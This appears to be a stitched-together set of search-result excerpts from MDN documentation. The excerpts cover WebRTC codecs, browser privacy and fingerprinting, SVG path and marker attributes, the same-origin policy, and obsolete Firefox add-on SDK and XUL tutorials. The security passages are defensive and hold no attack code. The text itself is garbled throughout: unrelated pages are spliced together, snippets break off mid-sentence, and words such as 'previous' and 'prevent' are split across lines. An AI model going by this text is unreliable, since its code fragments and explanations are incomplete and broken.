revised list to rtcrtptransceiver.setcodecpreferences() to rearrange the codec list. this changes the order of preference of the codecs, letting you tell webrtc to prefer a different codec over all others. function changevideocodec(mimetype) { const transceivers = peerconnection.gettransceivers(); transceivers.foreach(transceiver => { const kind = transceiver.sender.track.kind; let send...
Privacy, permissions, and information security
o be granted conditionally, such as by permitting only a select group of people to access it, or only allowing the information to be accessed and used for a limited period of time. security security is about the active protection of data or a system against being accessed, downloaded, or operated by people or organizations that don't have permission to do so. good security practices aim to p
revent unauthorized access to systems or data, regardless of what the target is. personal and private information <what kind of information is private or personal?> privacy risks <what are ways personal information can be gotten by third parties?> fingerprinting fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it un...
...printing is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. even seemingly innocuous information can in principle be used in the fingerprinting process, though the more unique the information is to the particular device the better. modern browsers take steps to help p
revent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that p
revent it from being used for identification purposes. for example, if a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprin...
... description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to p
revent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should ...
...ource and the document contains an <iframe> with the allow attribute to delegate that permission to the contents of the frame. in this case, it's possible for the user to wind up being prompted repeatedly for that same resource, first by the main page, then by the document in the frame. browsers may choose to provide ways around this. for example, in firefox 73, the user permission requests were
revised so that when an <iframe> uses the allow keyword to delegate permission to the embeded document, the browser asks the user to grant the parent document permission to use the resource, and that permission is then shared with the embedded content that requested the resource to begin with. <-- diagram and/or code snippet to clarify things--> ...
d - SVG: Scalable Vector Graphics
r curve (c) command(s). formulae: po′ = pn = {xo + dx, yo + dy} ; pcs = {xo + dx1, yo + dy1} ; pce = {xo + dx2, yo + dy2} s (x2,y2, x,y)+ draw a smooth cubic bézier curve from the current point to the end point specified by x,y. the end control point is specified by x2,y2. the start control point is a reflection of the end control point of the p
revious curve command. if the p
revious command wasn't a cubic bézier curve, the start control point is the same as the curve starting point (current point). any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute smooth cubic bézier curve (s) commands. s (dx2,dy2, dx,dy)+ draw a smooth cubic bézier curve from the current point to the end poin...
...s. s (dx2,dy2, dx,dy)+ draw a smooth cubic bézier curve from the current point to the end point, which is the current point shifted by dx along the x-axis and dy along the y-axis. the end control point is the current point (starting point of the curve) shifted by dx2 along the x-axis and dy2 along the y-axis. the start control point is a reflection of the end control point of the p
revious curve command. if the p
revious command wasn't a cubic bézier curve, the start control point is the same as the curve starting point (current point). any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit relative smooth cubic bézier curve (s) commands. examples html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/...
... coordinate pairs are interpreted as parameter(s) for implicit relative quadratic bézier curve (q) command(s). formulae: po′ = pn = {xo + dx, yo + dy} ; pc = {xo + dx1, yo + dy1} t (x,y)+ draw a smooth quadratic bézier curve from the current point to the end point specified by x,y. the control point is a reflection of the control point of the p
revious curve command. if the p
revious command wasn't a quadratic bézier curve, the control point is the same as the curve starting point (current point). any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute smooth quadratic bézier curve (t) command(s). formula: po′ = pn = {x, y} t (dx,dy)+ draw a smooth quadratic bé...
...eted as parameter(s) for implicit absolute smooth quadratic bézier curve (t) command(s). formula: po′ = pn = {x, y} t (dx,dy)+ draw a smooth quadratic bézier curve from the current point to the end point, which is the current point shifted by dx along the x-axis and dy along the y-axis. the control point is a reflection of the control point of the p
revious curve command. if the p
revious command wasn't a quadratic bézier curve, the control point is the same as the curve starting point (current point). any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative smooth quadratic bézier curve (t) command(s). formulae: po′ = pn = {xo + dx, yo + dy} examples html,body,svg { height:100%...
orient - SVG: Scalable Vector Graphics
the orient attribute indicates how a marker is rotated when it is placed at its position on the shape. ...
... </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-
reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed. auto-start-
reverse if placed by marker-start, the marker is oriented 180° different from the orientation that would be ...
... note: this allows a single arrowhead marker to be defined that can be used for both the start and end of a path, i.e. ...
...number> this value indicates an angle in degrees. the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis. specifications specification status comment scalable vector graphics (svg) 2the definition of 'orient' in that specification. candidate recommendation added the auto-start-
reverse value and simplified the descriptions of the values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'orient' in that specification. recommendation initial definition ...
Clipping and masking - SVG: Scalable Vector Graphics
but when you try to create a semicircle in svg, you will find out the use of the following properties quickly. clipping refers to removing parts of elements defined by other parts. in this case, any half-transparent effects are not possible, it's an all-or-nothing approach. masking on the other hand allows soft edges by taking transparency and grey values of the mask into account. ...
...ample the red circle on blue background. the yellow stroke is set to 50% opacity, which leads effectively to a double-color stroke. ...
... circle on blue background. the yellow stroke is set to 50% opacity, which leads effectively to a double-color stroke. ...
... using well-known css techniques one of the most powerful tools in a web developer's toolbox is display: none. ...
Same-origin policy - Web security
ary by browser: internet explorer, firefox, chrome, safari (scroll down to cve-2010-0051) and opera. images displayed by <img>. media played by <video> and <audio>. external resources embedded with <object> and <embed>. fonts applied with @font-face. some browsers allow cross-origin fonts, others require same-origin. anything embedded by <iframe>. ...
.... some browsers allow cross-origin fonts, others require same-origin. anything embedded by <iframe>. sites can use the x-frame-options header to p
revent cross-origin framing. how to allow cross-origin access use cors to allow cross-origin access. cors is a part of http that lets servers specify what hosts are permitted to load content from that server. how to block cross-origin access to p
revent cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token. you must p
revent cross-origin reads of pages that require this token. ...
...in access use cors to allow cross-origin access. cors is a part of http that lets servers specify what hosts are permitted to load content from that server. how to block cross-origin access to p
revent cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token. you must p
revent cross-origin reads of pages that require this token. to p
revent cross-origin reads of a resource, ensure that it is not embeddable. it is often necessary to p
revent embedding because embedding a resource always leaks some information about it. to p
revent cross-origin embeds, ensure that your resource cannot be interpreted as one of the embeddable formats listed above. browsers may not respect the content-type header. for example, if you point a <script> t...
... cross-origin script api access javascript apis like iframe.contentwindow, window.parent, window.open, and window.opener allow documents to directly reference each other. when two documents do not have the same origin, these references provide very limited access to window and location objects, as described in the next two sections. ...
Classes and Inheritance - Archive of obsolete content
d, the constructor for shape would have been applied to a different object than the constructor for circle. we can now use the above constructor to create instances of the class circle: let circle = circle(2, 3, 5); circle instanceof circle; // => true circle.x; // => 2 circle.y; // => 3 circle.radius; // => 5 inheritance and prototypes there is a problem with the definition of circle in the p
revious section that we have glossed over thus far. consider the following: let circle = circle(2, 3, 5); circle.draw(); // => typeerror: circle.draw is not a function this is not quite right. the method draw is defined on instances of shape, so we definitely want it to be defined on instances of circle. the problem is that draw is defined on the prototype of shape, but not on the prototype of cir...
...the method draw on an instance of circle, it first looks for it on the object itself. when it cannot find the property there, it looks for it on the prototype of circle. when it cannot find the property there either, it looks for it on shape, at which point the lookup succeeds. the resulting behavior is what we were aiming for. inheritance and instanceof the single line of code we added in the p
revious section solved the problem with prototypes, but introduced a new problem with the instanceof operator. consider the following: let circle = circle(2, 3, 5); circle instanceof shape; // => false since instances of circle inherit from shape, we definitely want the result of this expression to be true. to understand why it is not, we need to understand how instanceof works. every prototype ha...
...this is all handled automatically. on the other hand, the call to the constructor for shape still has to be made explicitly. this is done by forwarding to the initialize method of the prototype of the base class. note that this is always safe, even if there is no initialize method defined on the base class:...
Modules - Archive of obsolete content
this becomes a problem when two scripts try to define the same property: // index.js: loadscript("www.foo.com/a.js"); loadscript("www.foo.com/b.js"); foo; // => 5 // a.js: foo = 3; // b.js: foo = 5; in the above example, the value of foo depends on the order in which the subscripts are loaded: there is no way to access the property foo defined by "a.js", since it is overwritten by "b.js". to p
revent scripts from interfering with each other, loadscript should evaluate each script to be loaded in the scope of their own global object, and then return the global object as its result. in effect, any properties defined by the script being loaded on its global object are exported to the loading script. the script loader we obtained from components allows us to do just that: function loadscript(...
...the object it passed to the loadsubscript function is an ordinary object, which has the global object of the loading script as its prototype. this breaks encapsulation, as it allows the script being loaded to access the built-in constructors of the loading script, which are defined on its global object. the problem with breaking encapsulation like ...
...the object returned by sandbox is a wrapper to the sandbox, not the sandbox itself. a wrapper behaves exactly like the wrapped object, with one difference: for each property access/function it performs an access check to make sure that the calling script is actually allowed to access/call that property/function. ...
remote/child - Archive of obsolete content
k to the main process. properties port an event emitter that sends and receives events from the main process. isremote a boolean property indicating whether this process is remote from the main process or not. frames a list of the content frames in this process. each element in this list is a frame. listen to attach and detach events to hear as frames are created and destroyed. methods fo
revery calls the callback for every existing frame and any new frames created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. getframeforwindow finds the frame for a top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that ...
...calls the callback for every existing frame and any new frames created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. getframeforwindow finds the frame for a top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that was p
reviously registered. properties port an event emitter that sends and receives events from every frame in this process. events attach triggered when a new content frame is opened (for example, the user opened a new tab). the event listener gets a frame object as an argument. at this point you can't access frame's content yet, but you can add event listeners: const { frames } = require("sdk/r...
...c events to the main process. methods addeventlistener(event, listener, iscapturing) adds an event listener for dom events dispatched by this content frame. this can include load and unload events from any content that is loaded in the frame. listeners are automatically removed when this frame is destroyed. removeeventlistener(event, listener, iscapturing) removes an event listener that was p
reviously registered. properties port an event emitter that can be used to send and receive frame specific events to and from code in the main process. content the top level dom window currently displaying in this frame. istab a boolean property indicating whether this frame displays in one of the application's main browser tabs. events detach event emitted when this frame disconnects from ...
remote/parent - Archive of obsolete content
ocess } = require("sdk/remote/child"); const { processid } = require("sdk/system/runtime"); process.port.on("fetchid", () => { process.port.emit("id", processid); }); // main.js const { processes, remoterequire } = require("sdk/remote/parent"); // load "remote.js" into every current and future process remoterequire("./remote.js", module); // for every current and future process processes.fo
revery(process => { // ask for the process id process.port.emit("fetchid"); // first argument is always the process, then the message payload process.port.once("id", (process, id) => { console.log("child process is remote:" + process.isremote); console.log("child process id:" + id); }); }); content frame manipulation this demonstrates telling every current frame to link to a spec...
...here will always be at least one process in this list, the main process. a multiprocess application will usually have at least one more process. listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods fo
revery(callback) calls the callback for every existing process and any new processes created in the future. this is a shortcut for enumerating existing processes and then listening for attach events. properties port an event emitter that sends messages to and receives messages from all processes. events attach event emitted when a new process is started. the event handler is called with a proc...
...e event handler is called with the process that detached. frames a list of the content frames across all processes. each element in this list is a frame. listen to attach and detach events to hear as frames are created and destroyed. const { frames } = require("sdk/remote/parent"); frames.on("attach", function(frame) { console.log("frame is attached: " + frame.frameelement); }); methods fo
revery(callback) calls the callback for every existing frame and any new frames created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. properties port an event emitter that sends messages to and receives messages from all frames. events attach event emitted when a new frame is created. the event handler is called with a frame representin...
jpm - Archive of obsolete content
passed validation, was signed by mozilla, and a new signed xpi was downloaded to your working directory. your add-on failed validation, was not signed, and you got a link to a detailed report. after fixing the validation errors, you can run the command again. you add-on passed validation but it could not be automatically signed because your add-on is listed. listed add-ons will require a manual
review before they can be signed. your add-on at this exact version number already exists, so it was not signed. increment the version number in your package.json file and run the command again. under the hood, jpm sign creates an unlisted add-on inside addons.mozilla.org, which means you must distribute the xpi file yourself for your users to install it. if you need to create a listed add-on, jus...
...key management page. on the amo key management page, this value is labeled "jwt issuer". --api-secret=jwt_secret api access secret (string) generated on the addons.mozilla.org key management page. this value should be guarded with care and never checked into version control. if your secret is compromised, another developer could upload add-ons to your account. you should
revoke and regenerate compromised api credentials immediately. on the amo key management page, this value is labeled "jwt secret". --api-url-prefix=http://.../api an optional api url prefix in case you'd like to use a pre-production signing api. for example, you could pass https://addons-dev.allizom.org/api/v3 to use the dev instance of addons.mozilla.org. ...
... the location of your copy of the sdk modules along with -o: jpm run -o "/path/to/addon-sdk/" the path must be an absolute path and point to the sdk's root (not addon-sdk/sdk or addon-sdk/sdk/lib, for instance). supporting updates for self-hosted add-ons this feature is only supported from jpm 1.0.3 onwards. when you make updates to your add-on to add features or fix bugs, you'll want any p
reviously installed versions of the add-on to update themselves to the new version. if you list your add-on on addons.mozilla.org, then all you have to do here is submit the new version; add-ons default to checking addons.mozilla.org for new versions of themselves. you can stop reading this section. if you do not list your add-on on addons.mozilla.org, you need to generate a mozilla-signed xpi and ...
Storing annotations - Archive of obsolete content
this is implemented as a panel that's shown in response to the widget's right-click message. the panel has three new files associated with it: a content-script which builds the panel content a simple html file used as a template for the panel's content a simple css file to provide some basic styling. these three files can all go in a new subdirectory of data whi...
...notationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.url').text(storedannotation.url) .attr('href', storedannotation.url); annotationhtml.find('.url').bind('click', function(event) { event.stoppropagation(); event.p
reventdefault(); self.postmessage(storedannotation.url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it builds the dom for the panel from the array of annotations i...
...while (simplestorage.quotausage > 1) simplestorage.storage.annotations.pop(); }); because we use a notification to alert the user, we need to import the notifications module: var notifications = require("sdk/notifications"); (it should be obvious that this is an incredibly unhelpful way to deal with the problem. a real add-on should give the user a chance to choose which data to keep, and p
revent the user from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows. there's a very simple way to do this: do nothing. by omitting the "private-browsing" key from the annotator's "package.json" file, the annotator opts out of private browsing altoge...
Chrome Authority - Archive of obsolete content
"chrome") statement is the only way to access chrome functionality and the components api. the components object should not be accessed from modules. the sdk tools will emit a warning if it sees module code which references components directly. your modules should refrain from using chrome privileges unless they are absolutely necessary. chrome-authority-using modules must receive extra security
review, and most bugs in these modules are security-critical. manifest generation the manifest is a list, included in the generated xpi, which specifies which modules have requested require() access to which other modules. it also records which modules have requested chrome access. this list is generated by scanning all included modules for require(xyz) statements and recording the particular "xyz"...
...ded in the generated xpi, which specifies which modules have requested require() access to which other modules. it also records which modules have requested chrome access. this list is generated by scanning all included modules for require(xyz) statements and recording the particular "xyz" strings that they reference. when the manifest implementation is complete the runtime loader will actually p
revent modules from require()ing modules that are not listed in the manifest. likewise, it will p
revent modules from getting chrome authority unless the manifest indicates that they have asked for it. this will ensure that
reviewers see the same authority restrictions that are enforced upon the running code, increasing the effectiveness of the time spent
reviewing the add-on. (until this work is comp...
...their statements must therefore be clear and easy to parse. a future manifest format may move the declaration portion out to a separate file, to allow for more fine-grained expression of authority. commands that build a manifest, like "jpm xpi" or "jpm run", will sca...
Enhanced Extension Installation - Archive of obsolete content
s not robust enough. when a newer version fo an existing extension is installed, files for the newer version are copied into the folder used by the older version, and obsolete files are not cleaned up. this can lead to incompatibilities, mysterious crashes and other problems. there are not enough guards in the upgrade and uninstall process to handle failure and abort the operation, restoring the p
revious state. items that are installed must be visible in the extension manager user interface, even if the extension type is just an integration hook that has no meaningful ui presence. extension installation and registration is also prohibitively difficult/annoying for developers, who are forced to either dangerously hand-edit all the appropriate manifest files, or package their code as a xpi an...
...containment is expressed as a property, user-defined ordering can be respected. extension authors installing into restricted install locations can specify that their item does not show up in the extensions ui by using the <em:hidden>true<em:hidden> property in their install manifests. this property is ignored for extensions installed into unrestricted locations, such as the profile location, to p
revent abuse. there is more logging for failures in the installation and update process. the set of error logs written is still neither perfect nor complete, but it's a very good start. log strings are written to the application's error console (in anticipation of that api automatically logging to a file) and to the terminal window. we now check more effectively for system integrity during startup.
...effectively for system integrity during startup. we ask each install location if it is functioning (for a directory install location such as app-profile or app-global the location is functioning if it the directory exists. if any location is not functioning, or any of the manifests listed above does not exist, all manifests are removed and the system rebuilds everything from scratch. this should p
revent against random file deletions and allow developers to easily reset their state by deleting one of the required system files. since we can now install by simply detecting the presence of a {guid} folder under the app-profile and app-global install locations, we no longer need installed-extensions.txt for registration of pre-configured items such as the default theme. the firefox build system w...
Extension Versioning, Update and Compatibility - Archive of obsolete content
ng the updateurl. the information returned can be used to notify the user of an updated version to the add-on as well as inform the application of new application versions that the add-on is compatible with. note: starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the new one. p
reviously, it was possible to wind up with two copies of the same add-on installed. compatibility updates during the automatic update checks, applications look for both new versions and updated compatibility information about the currently installed version of an add-on. this means that if your update manifest contains an entry for the currently installed version of the add-on, and the entry's tar...
...you can list multiple add-ons ...
... </em:updates> <em:signature>migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> <!-- this represents the same description within the li from the p
revious example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> <...
Install Manifests - Archive of obsolete content
of add-on. 2 extensions 4 themes 8 locale 32 multiple item package 64 spell check dictionary 128 telemetry experiment 256 webextension experiment examples <em:type>2</em:type> this property was added for firefox 1.5, and is only required for add-on types other than extensions and themes. firefox 2 and p
revious supported a value of 16 to represent plug-ins. in firefox 3 this has been removed. version a version string identifying the version of the add-on being supplied. for firefox/thunderbird 1.0, the format must conform to the rules specified in extension versioning, update and compatibility. for firefox/thunderbird 1.5, see toolkit version format. examples <em:version>2.0</em:version> <em:v...
...l install on any linux build of the application, regardless of its abi, but not on a windows cygwin build. there may be builds of firefox and thunderbird which do not "know" their abi (most likely ports to rare platforms, or non-official builds). these builds will refuse to install any add-on that requires a specific abi for their platform. this property was added for firefox/thunderbird 1.5. p
revious versions of these applications will ignore the restrictions and install the add-on regardless of the platform. translator the name(s) of translators. you may specify more than one of this value to specify multiple translators. examples <em:translator>janez novak</em:translator> <em:translator>kari nordmann</em:translator> unpack a true or false value that tells the application whether t...
...when true makes the add-on not show up in the add-ons list, provided the add-on is installed in a restricted access area (so it does not work for add-ons installed in the profile). this is for bundling integration hooks to larger applications where having an entry in the extensions list does not make sense. note: this property is no longer supported under gecko 1.9.2 (firefox 3.6) or later, to p
revent extensions from being installed in such a way that the user might not be able to tell they're installed. examples <em:hidden>true</em:hidden> requires firefox 2.0 - 3.6.x. other versions will ignore the restrictions and install the add-on regardless of the requirements. see replacement for install.rdf property "requires" discussion for rationale behind removing this feature and the sugge...
Interaction between privileged and non-privileged pages - Archive of obsolete content
lback could look like this: in the extension: var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); /* the extension answers the page*/ evt.target.setattribute("attribute3", "the extension"); var doc = evt.target.ownerdocument; var answe
revt = doc.createelement("myextensionanswer"); answe
revt.setattribute("part1", "answers this."); doc.documentelement.appendchild(answe
revt); var event = doc.createevent("htmlevents"); event.initevent("myanswe
revent", true, false); answe
revt.dispatchevent(event); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the ...
...event = doc.createevent("htmlevents"); event.initevent("myanswe
revent", true, false); answe
revt.dispatchevent(event); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event. ...
...turn settimeout(function() { callback({quux: 4}); }, 3000); } if (request.mozilla) { return alert("alert in chrome"); } return callback(null); } } something.listen_request(something.callback); message passing in chromium sending structured data the above mechanisms use element attributes and are thus only strings. you may want to transfer objects. gecko p
revents chrome to access custom object properties added by the content, because that can create security holes. a workaround is to treat the communication between webpage and chrome as a normal network protocol and use xml. with element attributes and e4x, this is fairly easy. you do need to convert your data to/from e4x objects, though. and your chrome needs to carefully check every value passed (y...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007. shimoda-san is a co-author of firefox 3 hacks (o'reilly japan, 2008). before we dive into a thorough explanation, we'll quickly introduce the technologies used to develop firefox extensions. we will also look at the minimum knowledge you'll need to have in order to develop for firefox. technologies used to develop firefox extensions firefox and its extensions are both based on and developed with technologies widely used on the web. ...
...uilt using these four technologies. figure 1: role of each technology in firefox in addition to these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the firefox ui. these issues are discussed in chapter 5. the minimum knowledge required in the interest of b
revity, i will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for firefox. i will assume that you have experience developing with dynamic html, as well as the topics below. for more information on these technologies, please refer to other sources. xml coding css coding basic javascript syntax ...
...ets a label attribute. ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007. mr. shimoda is a co-author of firefox 3 hacks (o'reilly japan, 2008). this chapter explains how to use xpcom to implement advanced processes using only javascript. introduction javascript lacks functions for opening files and character-code conversion, among other things. a different mechanism is needed to perform these functions. ...
... listing 18: converting text from iso-2022-jp to unicode converter.charset = 'iso-2022-jp'; var unicode_str = converter.converttounicode(iso2022jp_str); reading and writing preferences you can use the nsiprefbranch function to access firefox's preferences system. this function can get and set preferences with three types of values: boo...
...eateinstance(components.interfaces.nsistringinputstream); content = 'content-type: application/x-www-form-urlencoded\n'+ 'content-length: '+content.length+'\n\n'+ content; postdata.setdata(content, content.length); var flags = components.interfaces.nsiwebnavigation.load_flags_none; browser.loaduriwithflags('http://piro.sakura.ne.jp/', flags, referrer, null, postdata); « p
reviousnext » ...
Adding menus and submenus - Archive of obsolete content
in this section we'll look into more specialized menus and what you can do with them. adding a new menu we already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want. you should avoid having deep menus or too many options, since they are confusing for most users. if your extension requires custom xul windows, you may also need to have menus on those windows. you can do this with a menubar. the menubar element should be a child of a toolbox element because it is treated like another toolbar on systems other than mac os x. ...
...make firefox (and your users) wait for it to fill up before displaying anything. it's best to show an item with a throbber image (see chrome://global/skin/icons/loading_16.png) so the user knows there's something going on, and asynchronously fill its contents. we'll look into some asynchronous techniques further ahead in the tutorial. adding elements to existing menus just as explained in the p
revious sections, the best place to overlay your extension menu is inside the tools menu. that is, unless there's a place inside the menu structure where your extension menus make more sense. if you're overlaying the tools menu, your overlay code should have something like this: <menupopup id="menu_toolspopup"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey...
...row segment of the image instead. this seems to happen when remote images are used. menu items are not dynamically updated while they are open. for example, you could have a menuitem that tells you the current time and is updated every second. on other systems you would be able to see the item update itself without having to close the menu and then reopen. this is not the case on mac os. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Connecting to Remote Content - Archive of obsolete content
it is an integral part of the modern web, and all major browsers support it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. ...
...uage, it uses a non-xml syntax that provides a flexible way of addressing (pointing to) different parts of an xml document. taken from the xpath page. you can use xpath to quickly access specific nodes in an xml or html document with a simple query mechanism. xpath can also be used to extract information from web pages once they load, along with the page load interception techniques discussed p
reviously. xpath is very useful for cases when you're receiving large and complex xml files, and you only need some of the data contained in them. using xpath to parse a complete xml document is probably not a good idea performance-wise. using xslt xslt (extensible stylesheet language transformations) is another tool used to manipulate xml documents and transform them into other forms of text outp...
..., so use it sparingly. a tutorial on tamper data can be found here. note: you should always test your connection code to cover edge cases, like when there is no internet connection, or the computer is connected to a local network with no internet access (like at an airport or hotel room). make sure you're not telling users everything is ok, or worse, bombarding them with error messages. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Custom XUL Elements with XBL - Archive of obsolete content
the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding. taken from the xbl page. this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements. xbl is heavily used in xul, but in theory it could be applied to any xml language. xbl was submitted to the w3c for standardization, but for now it's used in xul almost exclusively. with xbl you can define new elements and define their properties, attributes, methods and event handlers. ...
...nymouselementbyattribute dom method: let namelabel = document.getanonymouselementbyattribute( this, "anonid", "xulshoolhello-name-label"); implementation the implementation section defines most of the scripting side of your element. here you can define methods and properties, as well as a constructor and a destructor for your element. javascript code is enclosed in cdata sections to p
revent js and xml syntax conflicts. properties and fields the field and property tags allow you to handle element variables and access them from outside of the element. a field holds a value that can be changed, except when the readonly attribute is set. it's very similar to a js object variable, and we generally use a field for private variables inside of the element. <field name="fieldname">d...
... ...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's pc open to remote attack. building dom trees in most cases, dom trees should be built exclusively with dom creation methods. the following methods will all safely create a dom tree without risk of remote execution. ...
... var href = "http://www.google.com/"; var text = "google"; document.getelementbyid("target-div").innerhtml = '<div>\ <a href="' + escapehtml(href) + '" target="_top">' + escapehtml(text) + '</a>\ </div>' it needs to be stressed that this method should not be used in new code and is only a temporary measure to shore up legacy code bases. safe...
... elem.setattribute("onclick", "openwindow(this.getattribute('href'))"); } escaping functions when the code fragment in question is not an event handler attribute and there is no feasible way to pass the data through other means, they must be escaped with functions such as uneval, string.quote, json.stringify, or number. generating scripts in this matter is deprecated and should be avoided whe
rever possible, but is relatively safe and sometimes acceptable. function createscript(href, otherstuff) { var script = function (href, otherstuff) { dostuffwith(href); dootherstuff(); for (var somestuff in otherstuff) dosomemorestuffwith(somestuff); } return script.tosource() + "(" + [string.quote(href), uneval(otherstuff)] + ")"; } safely using rem...
JavaScript Object Management - Archive of obsolete content
the first step to good javascript object management is having a namespace, or a javascript object that contains our code and data, that you know will not conflict with firefox code or other extensions. namespace declaration is best located in a file of its own, so that you have this one js file that should be included in all of your xul files. we'll be using the placeholder 〈namespace〉 below. this needs to be replaced with an identifier name which is unique to your add-on. ...
...rt, code modules must be loaded using a file: or resource: url pointing to a file on the disk. in particular, chrome: urls (even those that point to a file outside a jar archive) are not valid. to get a better idea, let's look at the code of the modified hello world example. we have defined two files, one to declare namespaces and another one for the message count functionality mentioned in the p
revious exercise. here again we're using a placeholder, 〈modulenamespace〉, for the identifier name that you'll need to choose. var exported_symbols = [ "〈modulenamespace〉" ]; const { classes: cc, interfaces: ci } = components; /** * 〈modulenamespace〉 namespace. */ var 〈modulenamespace〉 = {}; this should all be familiar enough. we're declaring the namespace we'll use at the...
...h. jsm is the best solution to handle objects that are window-independent. in the following section we'll discuss xpcom, which is an older alternative to jsm and one of the foundations of mozilla applications. you shouldn't skip that section because there are many common situations in extension development where you'll have to use xpcom, maybe even implement xpcom components of your own. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Observer Notifications - Archive of obsolete content
for example, you might want to notify that a task is completed, and then several different actions must be performed. you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer service. an observer is an object that is responsible to observe (wait for) notifications and then to carry out subsequent actions. to create an observer, you need to implement the nsiobserver interface. the interface has only one method observe() which takes three parameters. ...
..., the second parameter is the notification topic and the last parameter is an additional string to pass to those observers (can be null). observerservice.notifyobservers(null, "xulschoolhello-test-topic", "hello"); non-chrome to chrome communication non-chrome to chrome communication is one of the main uses of observers. by non-chrome we mean javascript code modules or xpcom. as we saw in p
revious sections, you can use javascript code module and xpcom objects very easily from the chrome. but given that chrome is window-dependent and non-chrome objects are not, it's tricky to send a message to the chrome. you would have to invoke a method for the chrome objects in all windows. it's much easier to use observers in this case. let's see the following example code on how to send out a noti...
...observer will be run several times when a notification is sent. useful firefox notifications we have covered sending and receiving custom notification topics using observers and the observer service. in firefox, there are many built-in observer topics that you can observe as well. the observer notifications page lists some useful topics and is definitely worth spending time studying it. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
The Box Model - Archive of obsolete content
this is the system that determines how all elements are laid out visually in a xul document. it is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions. the xul box model is a significant improvement over the html layout model, which is mostly vertical. with xul you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design. ...
... not be kept. you can have even more control over the size of flexible elements using the minwidth, maxwidth, minheight and maxheight attributes, or their css counterparts: min-width, max-width, min-height and max-height. the latter are recommended to keep style code in the skin section of the chrome. as their names should make clear, you can control the flexibility boundaries of elements, thus p
